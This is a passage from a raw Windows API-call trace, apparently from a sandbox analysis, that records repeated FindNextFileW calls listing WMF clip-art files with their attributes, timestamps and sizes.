lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0256.177] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0256.177] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0256.177] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0256.959] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0256.959] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0256.959] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0256.960] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0256.960] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0256.960] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0256.960] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0256.960] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0256.961] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0256.961] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0256.961] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0256.961] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0256.961] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0256.961] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0256.962] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0256.962] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0256.962] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0256.962] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0256.962] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0256.963] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0256.963] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0256.963] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0256.963] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0256.963] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0256.964] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0256.964] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0256.964] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0256.964] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0256.964] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0256.965] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0256.965] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0256.965] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0256.965] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1 [0256.965] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1 [0257.425] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1 [0257.425] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1 [0257.425] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1 [0257.425] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1 [0257.425] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1 [0257.425] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1 [0257.426] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1 [0257.426] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1 [0257.426] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1 [0257.426] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, 